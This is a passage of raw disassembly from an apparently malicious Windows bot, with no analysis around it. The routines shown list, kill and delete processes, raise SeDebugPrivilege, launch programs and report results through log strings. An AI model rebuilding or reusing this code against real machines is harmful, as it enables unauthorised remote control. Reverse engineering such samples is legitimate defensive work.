ebx mov edi, dword_42F068 mov esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" jnz short loc_417D8D cmp [ebp+var_1E4], ebx jnz short loc_417D99 call edi ; dword_42F068 push eax push esi lea eax, [ebp+var_298] push offset aSCouldnTPars_0 ; "%s Couldn't parse path,error: <%d>" push eax push [ebp+arg_0] call sub_4104F6 add esp, 14h loc_417D8D: ; CODE XREF: sub_417CD7+91j cmp [ebp+var_1E4], ebx jz loc_417E79 loc_417D99: ; CODE XREF: sub_417CD7+99j call edi ; dword_42F068 push eax push esi lea eax, [ebp+var_298] push offset aSCouldnTPars_0 ; "%s Couldn't parse path,error: <%d>" push eax push [ebp+arg_0] call sub_410491 add esp, 14h jmp loc_417E79 ; --------------------------------------------------------------------------- loc_417DB9: ; CODE XREF: sub_417CD7+7Ej push 44h lea eax, [ebp+var_5C] push ebx push eax call sub_4221F0 push 10h lea eax, [ebp+var_14] push ebx push eax call sub_4221F0 add esp, 18h lea eax, [ebp+var_14] neg esi push eax lea eax, [ebp+var_5C] push eax lea eax, [ebp+var_594] push eax push ebx sbb esi, esi push ebx push ebx and esi, 0FFFFFFFBh push ebx lea eax, [ebp+var_418] push ebx add esi, 5 push eax push ebx mov [ebp+var_5C], 44h mov [ebp+var_30], edi mov [ebp+var_2C], si call dword_42F078 ; CreateProcessA test eax, eax jnz short loc_417E81 cmp [ebp+var_1E8], ebx mov edi, dword_42F068 mov esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" jnz short loc_417E4F cmp [ebp+var_1E4], ebx jnz short loc_417E57 call edi ; dword_42F068 push eax lea eax, [ebp+var_418] push eax push esi lea eax, [ebp+var_298] push offset aSFailedToCre_0 ; "%s Failed to create proc: \"%s\",error: <"... push eax push [ebp+arg_0] call sub_4104F6 add esp, 18h loc_417E4F: ; CODE XREF: sub_417CD7+14Cj cmp [ebp+var_1E4], ebx jz short loc_417E79 loc_417E57: ; CODE XREF: sub_417CD7+154j call edi ; dword_42F068 push eax lea eax, [ebp+var_418] push eax push esi lea eax, [ebp+var_298] push offset aSFailedToCre_0 ; "%s Failed to create proc: \"%s\",error: <"... push eax push [ebp+arg_0] call sub_410491 add esp, 18h loc_417E79: ; CODE XREF: sub_417CD7+BCj ; sub_417CD7+DDj ... xor eax, eax inc eax jmp loc_418009 ; --------------------------------------------------------------------------- loc_417E81: ; CODE XREF: sub_417CD7+139j mov edi, dword_42F164 call edi ; dword_42F164 cmp [ebp+var_1E8], ebx mov [ebp+var_4], eax mov esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" jnz short loc_417EC3 cmp [ebp+var_1E4], ebx jnz short loc_417ECB push [ebp+var_C] lea eax, [ebp+var_418] push eax push esi lea eax, [ebp+var_298] push offset aSCreatedProcSP ; "%s Created proc: \"%s\", PID: <%d>" push eax push [ebp+arg_0] call sub_4104F6 add esp, 18h loc_417EC3: ; CODE XREF: sub_417CD7+1C0j cmp [ebp+var_1E4], ebx jz short loc_417EED loc_417ECB: ; CODE XREF: sub_417CD7+1C8j push [ebp+var_C] lea eax, [ebp+var_418] push eax push esi lea eax, [ebp+var_298] push offset aSCreatedProcSP ; "%s Created proc: \"%s\", PID: <%d>" push eax push [ebp+arg_0] call sub_410491 add esp, 18h loc_417EED: ; CODE XREF: sub_417CD7+1F2j cmp [ebp+var_1E8], ebx jnz loc_417FE1 cmp [ebp+var_18], ebx jz loc_417FE1 push 0FFFFFFFFh push [ebp+var_14] call dword_42F064 ; WaitForSingleObject call edi ; dword_42F164 sub eax, [ebp+var_4] xor edx, edx mov ecx, 3E8h push 3Ch div ecx xor edx, edx mov ecx, 15180h pop edi mov [ebp+var_314], bl div ecx mov ecx, 0E10h mov eax, edx xor edx, edx div ecx mov ecx, eax mov eax, edx xor edx, edx div edi cmp ecx, ebx mov edi, edx mov [ebp+var_4], eax jbe short loc_417F81 cmp ecx, 1 mov eax, offset aHour ; " hour" jz short loc_417F58 mov eax, offset aHours ; " hours" loc_417F58: ; CODE XREF: sub_417CD7+27Aj push eax push ecx lea eax, [ebp+var_490] push offset aDS ; " %d%s" push eax call sub_422063 lea eax, [ebp+var_490] push eax lea eax, [ebp+var_314] push eax call sub_423270 add esp, 18h loc_417F81: ; CODE XREF: sub_417CD7+270j push edi lea eax, [ebp+var_490] push [ebp+var_4] push offset a_2d_2d ; " %.2d:%.2d" push eax call sub_422063 lea eax, [ebp+var_490] push eax lea eax, [ebp+var_314] push eax call sub_423270 add esp, 18h lea eax, [ebp+var_314] cmp [ebp+var_1E4], ebx push eax lea eax, [ebp+var_418] push eax lea eax, [ebp+var_298] push esi push offset aSProcsFinished ; "%s Procs Finished: \"%s\", Total Running "... push eax push [ebp+arg_0] jnz short loc_417FD9 call sub_4104F6 jmp short loc_417FDE ; --------------------------------------------------------------------------- loc_417FD9: ; CODE XREF: sub_417CD7+2F9j call sub_410491 loc_417FDE: ; CODE XREF: sub_417CD7+300j add esp, 18h loc_417FE1: ; CODE XREF: sub_417CD7+21Cj ; sub_417CD7+225j cmp [ebp+var_14], ebx mov esi, dword_42F038 jz short loc_417FF1 push [ebp+var_14] call esi ; dword_42F038 loc_417FF1: ; CODE XREF: sub_417CD7+313j cmp [ebp+var_10], ebx jz short loc_417FFB push [ebp+var_10] call esi ; dword_42F038 loc_417FFB: ; CODE XREF: sub_417CD7+31Dj push [ebp+var_218] call sub_41C059 pop ecx xor eax, eax loc_418009: ; CODE XREF: sub_417CD7+1A5j pop edi pop esi pop ebx leave retn 4 sub_417CD7 endp ; =============== S U B R O U T I N E ======================================= sub_418010 proc near ; DATA XREF: sub_403B2C+1737o mov eax, offset loc_42EF34 call sub_423A68 mov eax, 1564h call sub_4220C0 mov eax, [ebp+8] push ebx push esi push edi mov ecx, 90h mov esi, eax lea edi, [ebp-26Ch] xor ebx, ebx rep movsd mov edi, [ebp-26Ch] xor esi, esi inc esi cmp [ebp-1D8h], ebx mov [eax+0BCh], esi mov [ebp+8], edi jz loc_4181EC mov al, [ebp+0Bh] push ebx push ebx lea ecx, [ebp-1Ch] mov [ebp-1Ch], al call sub_4199B0 mov [ebp-18h], eax mov [ebp-14h], ebx push dword ptr [ebp-1E0h] lea eax, [ebp-1Ch] mov [ebp-4], ebx push eax call sub_418436 pop ecx test al, al pop ecx jz loc_418192 cmp [ebp-1B4h], ebx mov esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" lea eax, [ebp-268h] push esi push offset aSProcsList ; "%s Procs List:" push eax push edi jnz short loc_4180AD call sub_4104F6 jmp short loc_4180B2 ; --------------------------------------------------------------------------- loc_4180AD: ; CODE XREF: sub_418010+94j call sub_410491 loc_4180B2: ; CODE XREF: sub_418010+9Bj add esp, 10h cmp [ebp-1BCh], ebx mov edi, offset aPidAMemoryUsag ; " PID - Memory Usage - Process" jz short loc_4180DD cmp [ebp-1B4h], ebx jnz short loc_4180E5 lea eax, [ebp-268h] push edi push eax push dword ptr [ebp+8] call sub_4104F6 add esp, 0Ch loc_4180DD: ; CODE XREF: sub_418010+B0j cmp [ebp-1B4h], ebx jz short loc_4180F8 loc_4180E5: ; CODE XREF: sub_418010+B8j lea eax, [ebp-268h] push edi push eax push dword ptr [ebp+8] call sub_410491 add esp, 0Ch loc_4180F8: ; CODE XREF: sub_418010+D3j mov eax, [ebp-18h] mov edi, [eax] cmp edi, eax jz short loc_418169 loc_418101: ; CODE XREF: sub_418010+155j mov eax, [edi+108h] lea ebx, [edi+10Ch] push offset aK ; " K" push ebx mov [ebp-10h], eax call sub_423270 lea eax, [edi+8] push eax push ebx push dword ptr [ebp-10h] lea eax, [ebp-1570h] push offset a6d10sS ; " %-6d- %-10s- \"%s\"" push eax call sub_422063 add esp, 1Ch cmp dword ptr [ebp-1B4h], 0 lea eax, [ebp-1570h] push eax lea eax, [ebp-268h] push eax push dword ptr [ebp+8] jnz short loc_418158 call sub_4104F6 jmp short loc_41815D ; --------------------------------------------------------------------------- loc_418158: ; CODE XREF: sub_418010+13Fj call sub_410491 loc_41815D: ; CODE XREF: sub_418010+146j mov edi, [edi] add esp, 0Ch cmp edi, [ebp-18h] jnz short loc_418101 xor ebx, ebx loc_418169: ; CODE XREF: sub_418010+EFj cmp [ebp-1B4h], ebx lea eax, [ebp-268h] push esi push offset aSEndOfList ; "%s End of list" push eax push dword ptr [ebp+8] jnz short loc_41818B call sub_4104F6 loc_418186: ; CODE XREF: sub_418010+180j add esp, 10h jmp short loc_4181DB ; --------------------------------------------------------------------------- loc_41818B: ; CODE XREF: sub_418010+16Fj call sub_410491 jmp short loc_418186 ; --------------------------------------------------------------------------- loc_418192: ; CODE XREF: sub_418010+75j cmp [ebp-1B4h], ebx jnz short loc_4181BA call dword_42F068 ; RtlGetLastWin32Error push eax push offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" lea eax, [ebp-268h] push offset aSUnableToListP ; "%s Unable to list procs,error: <%d>" push eax push edi call sub_4104F6 jmp short loc_4181D8 ; --------------------------------------------------------------------------- loc_4181BA: ; CODE XREF: sub_418010+188j call dword_42F068 ; RtlGetLastWin32Error push eax push offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" lea eax, [ebp-268h] push offset aSUnableToListP ; "%s Unable to list procs,error: <%d>" push eax push edi call sub_410491 loc_4181D8: ; CODE XREF: sub_418010+1A8j add esp, 14h loc_4181DB: ; CODE XREF: sub_418010+179j or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-1Ch] call sub_419912 jmp loc_418408 ; --------------------------------------------------------------------------- loc_4181EC: ; CODE XREF: sub_418010+43j cmp [ebp-1D4h], ebx jz loc_418408 cmp [ebp-1D0h], ebx jnz loc_4182F5 lea eax, [ebp-2Ch] push eax push dword ptr [ebp-1E4h] call sub_418614 pop ecx test al, al pop ecx jz short loc_418269 cmp [ebp-1B8h], ebx mov esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" mov edi, offset aSProSKilledTot ; "%s Pro \"%s\" killed,total: <%s>" jnz short loc_418251 cmp [ebp-1B4h], ebx jnz short loc_41825D lea eax, [ebp-2Ch] push eax lea eax, [ebp-268h] push dword ptr [ebp-1E4h] push esi push edi push eax push dword ptr [ebp+8] call sub_4104F6 add esp, 18h loc_418251: ; CODE XREF: sub_418010+219j cmp [ebp-1B4h], ebx jz loc_418408 loc_41825D: ; CODE XREF: sub_418010+221j lea eax, [ebp-2Ch] push eax push dword ptr [ebp-1E4h] jmp short loc_4182D2 ; --------------------------------------------------------------------------- loc_418269: ; CODE XREF: sub_418010+207j push dword ptr [ebp-1E4h] call sub_422B5A push eax call sub_4188DB pop ecx mov esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" test eax, eax pop ecx jz short loc_4182EB mov edi, offset aSPidIKilled ; "%s PID \"%i\" killed" loc_41828A: ; CODE XREF: sub_418010+421j cmp [ebp-1B8h], ebx jnz short loc_4182BA cmp [ebp-1B4h], ebx jnz short loc_4182C6 push dword ptr [ebp-1E4h] call sub_422B5A push eax push esi lea eax, [ebp-268h] push edi push eax push dword ptr [ebp+8] call sub_4104F6 add esp, 18h loc_4182BA: ; CODE XREF: sub_418010+280j cmp [ebp-1B4h], ebx jz loc_418408 loc_4182C6: ; CODE XREF: sub_418010+288j push dword ptr [ebp-1E4h] call sub_422B5A push eax loc_4182D2: ; CODE XREF: sub_418010+257j push esi lea eax, [ebp-268h] push edi push eax push dword ptr [ebp+8] call sub_410491 add esp, 18h jmp loc_418408 ; --------------------------------------------------------------------------- loc_4182EB: ; CODE XREF: sub_418010+273j mov edi, offset aSFailedToKillP ; "%s Failed to kill proc" jmp loc_4183C8 ; --------------------------------------------------------------------------- loc_4182F5: ; CODE XREF: sub_418010+1EEj lea eax, [ebp-370h] push eax push dword ptr [ebp-1E4h] call sub_422B5A pop ecx push eax call sub_418930 push eax lea eax, [ebp-370h] push offset aS_1 ; "%s" push eax call sub_422063 lea eax, [ebp-570h] push eax lea eax, [ebp-470h] push eax push ebx lea eax, [ebp-370h] push ebx push eax call sub_4245FD lea eax, [ebp-570h] push eax lea eax, [ebp-470h] push eax call sub_423270 add esp, 30h xor edi, edi mov [ebp-10h], ebx loc_418357: ; CODE XREF: sub_418010+3ACj push dword ptr [ebp-1E4h] call sub_422B5A push eax call sub_4188DB pop ecx test eax, eax pop ecx jz short loc_418370 mov edi, esi loc_418370: ; CODE XREF: sub_418010+35Cj lea eax, [ebp-370h] push 80h push eax call dword_42F08C ; SetFileAttributesA lea eax, [ebp-370h] push eax call dword_42F088 ; DeleteFileA test eax, eax jnz loc_418427 cmp edi, ebx jz short loc_4183AA lea eax, [ebp-470h] push ebx push eax call sub_418614 pop ecx pop ecx loc_4183AA: ; CODE XREF: sub_418010+389j push 3E8h call dword_42F15C ; Sleep inc dword ptr [ebp-10h] cmp dword ptr [ebp-10h], 5 jl short loc_418357 mov esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" mov edi, offset aSFailedToKillA ; "%s Failed to kill and erase proc" loc_4183C8: ; CODE XREF: sub_418010+2E0j cmp [ebp-1B8h], ebx jnz short loc_4183EC cmp [ebp-1B4h], ebx jnz short loc_4183F4 push esi lea eax, [ebp-268h] push edi push eax push dword ptr [ebp+8] call sub_4104F6 add esp, 10h loc_4183EC: ; CODE XREF: sub_418010+3BEj cmp [ebp-1B4h], ebx jz short loc_418408 loc_4183F4: ; CODE XREF: sub_418010+3C6j push esi lea eax, [ebp-268h] push edi push eax push dword ptr [ebp+8] call sub_410491 add esp, 10h loc_418408: ; CODE XREF: sub_418010+1D7j ; sub_418010+1E2j ... push dword ptr [ebp-1E8h] call sub_41C059 pop ecx pop edi mov ecx, [ebp-0Ch] pop esi xor eax, eax pop ebx mov large fs:0, ecx leave retn 4 ; --------------------------------------------------------------------------- loc_418427: ; CODE XREF: sub_418010+381j mov esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" mov edi, offset aSPidIKilledAnd ; "%s PID \"%i\" killed and deleted" jmp loc_41828A sub_418010 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418436 proc near ; CODE XREF: sub_418010+6Cp var_15CC = byte ptr -15CCh var_5CC = byte ptr -5CCh var_3CC = byte ptr -3CCh var_2CC = byte ptr -2CCh var_1CC = dword ptr -1CCh var_1C8 = byte ptr -1C8h var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = byte ptr -140h var_44 = byte ptr -44h var_38 = dword ptr -38h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 15CCh call sub_4220C0 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_15CC] push 1000h push eax call dword_45430C test eax, eax jnz short loc_418461 xor al, al leave retn ; --------------------------------------------------------------------------- loc_418461: ; CODE XREF: sub_418436+25j mov eax, [ebp+var_8] push edi shr eax, 2 mov [ebp+var_10], eax mov eax, dword_43E558 push 3Fh mov [ebp+var_148], eax mov eax, dword_43E55C pop ecx push 0 mov [ebp+var_144], eax pop eax lea edi, [ebp+var_140] rep stosd mov [ebp+var_4], eax jz loc_41860F push ebx push esi mov ebx, offset aS_1 ; "%s" loc_41849F: ; CODE XREF: sub_418436+1D1j mov eax, [ebp+var_4] lea esi, [ebp+eax*4+var_15CC] push dword ptr [esi] push 0 push 410h call dword_42F0E4 ; OpenProcess mov edi, eax test edi, edi jz loc_4185FE lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_C] push 4 push eax push edi call dword_4542D0 test eax, eax jz loc_4185F7 lea eax, [ebp+var_148] push 104h push eax push [ebp+var_C] push edi call dword_4542CC lea eax, [ebp+var_148] push eax lea eax, [ebp+var_2CC] push ebx push eax call sub_422063 mov eax, [esi] add esp, 0Ch mov [ebp+var_1CC], eax lea eax, [ebp+var_44] push 28h push eax push edi call dword_454364 test eax, eax jz short loc_418547 mov eax, [ebp+var_38] push 0 shr eax, 0Ah push eax call sub_41F537 push eax push ebx lea eax, [ebp+var_1C8] push 80h push eax call sub_42219B add esp, 18h jmp short loc_418567 ; --------------------------------------------------------------------------- loc_418547: ; CODE XREF: sub_418436+E9j call dword_42F068 ; RtlGetLastWin32Error push eax push offset aErrorD ; "Error: <%d>" lea eax, [ebp+var_1C8] push 80h push eax call sub_42219B add esp, 10h loc_418567: ; CODE XREF: sub_418436+10Fj xor eax, eax cmp [ebp+arg_4], eax jz short loc_4185E0 lea ecx, [ebp+var_3CC] push ecx lea ecx, [ebp+var_5CC] push ecx push eax push eax lea eax, [ebp+var_2CC] push eax call sub_4245FD lea eax, [ebp+var_3CC] push eax lea eax, [ebp+var_5CC] push eax call sub_423270 lea eax, [ebp+var_5CC] push eax push [ebp+arg_4] push offset aSS_3 ; "%s / %s\n" push offset dword_449470 call sub_424744 add esp, 2Ch lea eax, [ebp+var_5CC] push eax push [ebp+arg_4] call dword_42F070 ; lstrcmpiA test eax, eax jnz short loc_4185F7 mov ecx, [ebp+arg_0] lea edx, [ebp+var_2CC] push edx mov eax, [ecx+4] push eax lea eax, [ebp+var_18] jmp short loc_4185F1 ; --------------------------------------------------------------------------- loc_4185E0: ; CODE XREF: sub_418436+136j mov ecx, [ebp+arg_0] lea edx, [ebp+var_2CC] push edx mov eax, [ecx+4] push eax lea eax, [ebp+var_14] loc_4185F1: ; CODE XREF: sub_418436+1A8j push eax call sub_41993D loc_4185F7: ; CODE XREF: sub_418436+9Fj ; sub_418436+195j push edi call dword_42F038 ; CloseHandle loc_4185FE: ; CODE XREF: sub_418436+86j inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+var_10] jb loc_41849F pop esi pop ebx loc_41860F: ; CODE XREF: sub_418436+5Cj mov al, 1 pop edi leave retn sub_418436 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418614 proc near ; CODE XREF: sub_403B2C+66FAp ; sub_418010+1FEp ... var_1148 = dword ptr -1148h var_148 = byte ptr -148h var_44 = byte ptr -44h var_34 = dword ptr -34h var_30 = byte ptr -30h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1148h call sub_4220C0 push ebx push esi push 10h lea eax, [ebp+var_8] pop esi xor ebx, ebx push eax push ebx push 28h mov [ebp+var_1], bl mov [ebp+var_1C], esi call dword_42F100 ; GetCurrentThread push eax call dword_454248 ; OpenThreadToken test eax, eax jnz short loc_418660 lea eax, [ebp+var_8] push eax push 28h call dword_42F040 ; GetCurrentProcess push eax call dword_4542F8 ; OpenProcessToken test eax, eax jnz short loc_418660 mov [ebp+var_8], ebx loc_418660: ; CODE XREF: sub_418614+30j ; sub_418614+47j cmp [ebp+var_8], ebx jz short loc_4186B7 lea eax, [ebp+var_30] mov [ebp+var_34], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push ebx mov [ebp+var_28], 2 call dword_4542C4 ; LookupPrivilegeValueA lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_34] push esi push eax push ebx push [ebp+var_8] call dword_454378 ; AdjustTokenPrivileges test eax, eax jz short loc_4186AB call dword_42F068 ; RtlGetLastWin32Error cmp eax, 514h jnz short loc_4186B7 loc_4186AB: ; CODE XREF: sub_418614+88j push [ebp+var_8] call dword_42F038 ; CloseHandle mov [ebp+var_8], ebx loc_4186B7: ; CODE XREF: sub_418614+4Fj ; sub_418614+95j lea eax, [ebp+var_18] push eax lea eax, [ebp+var_1148] push 1000h push eax call dword_45430C test eax, eax jnz short loc_4186D8 xor al, al jmp loc_41880E ; --------------------------------------------------------------------------- loc_4186D8: ; CODE XREF: sub_418614+BBj mov esi, [ebp+var_18] mov [ebp+var_10], ebx shr esi, 2 mov [ebp+var_24], esi mov [ebp+var_C], ebx jz loc_4187D3 push edi loc_4186EE: ; CODE XREF: sub_418614+1B8j lea eax, [ebp+var_148] push offset aUnknown ; "unknown" push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+var_C] push [ebp+eax*4+var_1148] push ebx push 411h call dword_42F0E4 ; OpenProcess mov edi, eax cmp edi, ebx jz loc_4187C6 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push 4 push eax push edi call dword_4542D0 test eax, eax jz loc_4187BF lea eax, [ebp+var_148] push 104h push eax push [ebp+var_20] push edi call dword_454224 lea eax, [ebp+var_148] mov [ebp+var_14], ebx push eax call sub_422120 test eax, eax pop ecx jbe short loc_418791 mov eax, [ebp+var_C] lea esi, [ebp+eax+var_148] loc_41876D: ; CODE XREF: sub_418614+178j movsx eax, byte ptr [esi] push eax call sub_4248E0 inc [ebp+var_14] mov [esi], al lea eax, [ebp+var_148] push eax call sub_422120 cmp [ebp+var_14], eax pop ecx pop ecx jb short loc_41876D mov esi, [ebp+var_24] loc_418791: ; CODE XREF: sub_418614+14Dj cmp [ebp+arg_0], ebx jnz short loc_41879B mov [ebp+var_1], bl jmp short loc_4187BF ; --------------------------------------------------------------------------- loc_41879B: ; CODE XREF: sub_418614+180j push [ebp+arg_0] lea eax, [ebp+var_148] push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_4187BF inc [ebp+var_10] push ebx push edi call dword_42F0EC ; TerminateProcess mov [ebp+var_1], 1 loc_4187BF: ; CODE XREF: sub_418614+11Fj ; sub_418614+185j ... push edi call dword_42F038 ; CloseHandle loc_4187C6: ; CODE XREF: sub_418614+106j inc [ebp+var_C] cmp [ebp+var_C], esi jb loc_4186EE pop edi loc_4187D3: ; CODE XREF: sub_418614+D3j cmp [ebp+arg_4], ebx jz short loc_4187EB push [ebp+var_10] push offset aI_1 ; "%i" push [ebp+arg_4] call sub_422063 add esp, 0Ch loc_4187EB: ; CODE XREF: sub_418614+1C2j cmp [ebp+var_8], ebx jz short loc_41880B push ebx push ebx lea eax, [ebp+var_44] push 10h push eax push ebx push [ebp+var_8] call dword_454378 ; AdjustTokenPrivileges push [ebp+var_8] call dword_42F038 ; CloseHandle loc_41880B: ; CODE XREF: sub_418614+1DAj mov al, [ebp+var_1] loc_41880E: ; CODE XREF: sub_418614+BFj pop esi pop ebx leave retn sub_418614 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418812 proc near ; CODE XREF: sub_4188DB+12p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push ebx push esi mov esi, [ebp+arg_0] push edi xor edi, edi push esi push edi push 28h mov [ebp+var_8], 10h mov [ebp+var_4], edi call dword_42F100 ; GetCurrentThread push eax call dword_454248 ; OpenThreadToken test eax, eax jnz short loc_418855 push esi push 28h call dword_42F040 ; GetCurrentProcess push eax call dword_4542F8 ; OpenProcessToken test eax, eax jnz short loc_418855 mov [esi], edi loc_418855: ; CODE XREF: sub_418812+2Bj ; sub_418812+3Fj cmp [esi], edi jz short loc_4188AC lea eax, [ebp+var_14] xor ebx, ebx push eax inc ebx push offset aSedebugprivile ; "SeDebugPrivilege" push edi mov [ebp+var_18], ebx mov [ebp+var_C], 2 call dword_4542C4 ; LookupPrivilegeValueA lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push [ebp+arg_4] push 10h push eax push edi push dword ptr [esi] call dword_454378 ; AdjustTokenPrivileges test eax, eax jz short loc_4188A2 call dword_42F068 ; RtlGetLastWin32Error cmp eax, 514h jz short loc_4188A2 mov [ebp+var_4], ebx jmp short loc_4188AC ; --------------------------------------------------------------------------- loc_4188A2: ; CODE XREF: sub_418812+7Cj ; sub_418812+89j push dword ptr [esi] call dword_42F038 ; CloseHandle mov [esi], edi loc_4188AC: ; CODE XREF: sub_418812+45j ; sub_418812+8Ej mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_418812 endp ; =============== S U B R O U T I N E ======================================= sub_4188B4 proc near ; CODE XREF: sub_4188DB+47p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] xor ecx, ecx mov eax, [esi] cmp eax, ecx jz short loc_4188D9 push ecx push ecx push 10h push [esp+10h+arg_4] push ecx push eax call dword_454378 ; AdjustTokenPrivileges push dword ptr [esi] call dword_42F038 ; CloseHandle loc_4188D9: ; CODE XREF: sub_4188B4+Bj pop esi retn sub_4188B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4188DB proc near ; CODE XREF: sub_418010+265p ; sub_418010+353p ... var_14 = byte ptr -14h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_4] xor ebx, ebx push eax call sub_418812 pop ecx pop ecx push [ebp+arg_0] push ebx push 411h call dword_42F0E4 ; OpenProcess mov esi, eax cmp esi, ebx jz short loc_41891A push ebx push esi call dword_42F0EC ; TerminateProcess push esi mov bl, 1 call dword_42F038 ; CloseHandle loc_41891A: ; CODE XREF: sub_4188DB+2Cj lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_4188B4 pop ecx pop ecx pop esi movzx eax, bl pop ebx leave retn sub_4188DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418930 proc near ; CODE XREF: sub_418010+2F9p var_1114 = byte ptr -1114h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1114h call sub_4220C0 push ebx push esi lea eax, [ebp+var_C] push edi push eax lea eax, [ebp+var_1114] push 1000h push eax call dword_45430C test eax, eax jz loc_418A16 mov eax, dword_43E558 mov ebx, [ebp+var_C] push 3Fh mov [ebp+var_114], eax mov eax, dword_43E55C pop ecx mov [ebp+var_110], eax push offset a??? ; "???" push [ebp+arg_4] xor eax, eax lea edi, [ebp+var_10C] rep stosd shr ebx, 2 call dword_42F04C ; lstrcpyA xor edi, edi test ebx, ebx jbe short loc_418A13 loc_41899B: ; CODE XREF: sub_418930+B0j lea esi, [ebp+edi*4+var_1114] push dword ptr [esi] push 0 push 410h call dword_42F0E4 ; OpenProcess test eax, eax mov [ebp+var_4], eax jz short loc_4189DD lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push 4 push ecx push eax call dword_4542D0 test eax, eax jz short loc_4189D4 mov eax, [ebp+arg_0] cmp eax, [esi] jz short loc_4189E4 loc_4189D4: ; CODE XREF: sub_418930+9Bj push [ebp+var_4] call dword_42F038 ; CloseHandle loc_4189DD: ; CODE XREF: sub_418930+86j inc edi cmp edi, ebx jb short loc_41899B jmp short loc_418A13 ; --------------------------------------------------------------------------- loc_4189E4: ; CODE XREF: sub_418930+A2j lea eax, [ebp+var_114] push 104h push eax push [ebp+var_8] push [ebp+var_4] call dword_4542CC lea eax, [ebp+var_114] push eax push offset aS_1 ; "%s" push [ebp+arg_4] call sub_422063 add esp, 0Ch loc_418A13: ; CODE XREF: sub_418930+69j ; sub_418930+B2j mov eax, [ebp+arg_4] loc_418A16: ; CODE XREF: sub_418930+28j pop edi pop esi pop ebx leave retn sub_418930 endp ; =============== S U B R O U T I N E ======================================= sub_418A1B proc near ; CODE XREF: start+87p ; sub_403B2C+142Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push 32h mov esi, offset dword_45C3AC push 0 push esi call sub_4221F0 mov eax, [esp+18h+arg_0] mov edi, 3E8h xor edx, edx mov ecx, edi div ecx xor edx, edx add esp, 0Ch push 3Ch pop ebx mov ecx, eax mov eax, [esp+0Ch+arg_4] div edi xor edx, edx mov edi, 0E10h sub ecx, eax mov eax, ecx mov ecx, 15180h div ecx mov ecx, eax mov eax, edx xor edx, edx div edi mov edi, eax mov eax, edx xor edx, edx div ebx cmp [esp+0Ch+arg_8], 0 jnz short loc_418A8B test ecx, ecx ja short loc_418A8B push eax push edi push offset a0_2d0_2d ; "%0.2d:%0.2d" push esi call sub_422063 add esp, 10h jmp short loc_418A9C ; --------------------------------------------------------------------------- loc_418A8B: ; CODE XREF: sub_418A1B+58j ; sub_418A1B+5Cj push eax push edi push ecx push offset aDDayS0_2d0_2d ; "%d day(s) %0.2d:%0.2d" push esi call sub_422063 add esp, 14h loc_418A9C: ; CODE XREF: sub_418A1B+6Ej mov eax, esi pop edi pop esi pop ebx retn sub_418A1B endp ; =============== S U B R O U T I N E ======================================= sub_418AA2 proc near ; CODE XREF: sub_418B58+2EFp push ebx push esi push edi mov edi, 0F4240h loc_418AAA: ; CODE XREF: sub_418AA2+2Fj ; sub_418AA2+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call dword_42F15C ; Sleep rdtsc sub eax, esi push 0 sbb edx, ebx push edi push edx push eax call sub_424AA0 mov esi, edx mov ebx, eax test esi, esi ja short loc_418AAA jb short loc_418AD9 cmp ebx, edi ja short loc_418AAA loc_418AD9: ; CODE XREF: sub_418AA2+31j push 0 push 64h push esi push ebx call sub_424A20 